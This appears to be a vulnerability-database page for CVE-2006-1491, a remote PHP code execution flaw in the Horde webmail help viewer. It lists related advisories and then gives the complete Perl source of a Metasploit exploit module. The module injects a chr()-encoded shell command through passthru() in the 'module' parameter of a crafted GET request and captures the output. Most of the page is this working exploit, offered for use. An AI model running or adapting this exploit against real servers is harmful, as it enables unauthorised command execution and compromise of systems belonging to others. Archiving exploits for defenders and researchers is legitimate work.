| Reporter | Title | Published | Views | Family All 29 |
|---|---|---|---|---|
| horde -- remote code execution vulnerability in the help viewer | 28 Mar 200600:00 | – | freebsd | |
| Horde < 3.1.1 Help Viewer Code Execution | 29 Mar 200600:00 | – | nessus | |
| Debian DSA-1033-1 : horde3 - several vulnerabilities | 14 Oct 200600:00 | – | nessus | |
| Debian DSA-1034-1 : horde2 - several vulnerabilities | 14 Oct 200600:00 | – | nessus | |
| FreeBSD : horde -- remote code execution vulnerability in the help viewer (2db97aa6-be81-11da-9b82-0050bf27ba24) | 13 May 200600:00 | – | nessus | |
| GLSA-200604-02 : Horde Application Framework: Remote code execution | 8 Apr 200600:00 | – | nessus | |
| Horde Help Viewer Arbitrary Code Execution | 29 Mar 200600:00 | – | nessus | |
| Update Protection against Horde Help Viewer Vulnerability | 5 Jul 200600:00 | – | checkpoint_advisories | |
| CVE-2006-1491 | 29 Mar 200622:00 | – | cve | |
| CVE-2006-1491 | 29 Mar 200622:00 | – | cvelist |
`##
# Title: Horde <= 3.0.9, 3.1.0 (Help Viewer) Remote PHP Code Execution Vulnerability
# Name: horde_help_module.pm
# License: Artistic/BSD/GPL
# Info: Trying to get the command execution exploits out of the way on milw0rm.com. M's are always good.
#
#
# - This is an exploit module for the Metasploit Framework, please see
# http://metasploit.com/projects/Framework for more information.
#
## Coded by Inkubus <[email protected]>
package Msf::Exploit::horde_help_module;
use base "Msf::Exploit";
use strict;
use Pex::Text;
use bytes;
my $advanced = { };
my $info = {
'Name' => 'Horde help viewer module remote PHP code execution',
'Version' => '$Revision: 1.0 $',
'Authors' => [ 'inkubus < inkubus [at] inbox.lv >' ],
'Arch' => [ ],
'OS' => [ ],
'Priv' => 0,
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 80],
'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
'RPATH' => [1, 'DATA', 'Path to the Horde help module', '/horde/services/help/'],
'SSL' => [0, 'BOOL', 'Use SSL'],
},
'Description' => Pex::Text::Freeform(qq{
This module exploits an arbitrary PHP code execution flaw in the Horde web
mail software. This vulnerability is only present in the "Help Viewer Module".
Horde versions 3.0 up to 3.0.9 and 3.1.0 are vulnerable.
}),
'Refs' =>
[
['OSVDB', '15945'],
['CVE', '2006-1491'],
],
'Payload' =>
{
'Space' => 512,
'Keys' => ['cmd', 'cmd_bash'],
},
'Keys' => ['horde'],
'DisclosureDate' => 'Mar 28 2006',
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}
sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $vhost = $self->GetVar('VHOST') || $target_host;
my $path = $self->GetVar('RPATH');
my $cmd = $self->GetVar('EncodedPayload')->RawPayload;
# Add an echo on each end for easy output capturing
$cmd = "echo _cmd_beg_;".$cmd.";echo _cmd_end_";
# Encode the command as a set of chr() function calls
my $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd));
# Create the get request data
#my $data = "?do=page&template={\${passthru($byte)}}";
my $data = "?show=about&module=;\".passthru($byte);'.";
my $req =
"GET $path$data HTTP/1.1\r\n".
"Host: $vhost:$target_port\r\n".
"Content-Type: application/html\r\n".
"Content-Length: ". length($data)."\r\n".
"Connection: Close\r\n".
"\r\n";
my $s = Msf::Socket::Tcp->new(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);
if ($s->IsError){
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}
$self->PrintLine("[*] Sending the malicious Horde request...");
$s->Send($req);
my $results = $s->Recv(-1, 20);
$s->Close();
if ($results =~ m/_cmd_beg_(.*)_cmd_end_/ms) {
my $out = $1;
$out =~ s/^\s+|\s+$//gs;
if ($out) {
$self->PrintLine('----------------------------------------');
$self->PrintLine('');
$self->PrintLine($out);
$self->PrintLine('');
$self->PrintLine('----------------------------------------');
}
}
return;
}
1;
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation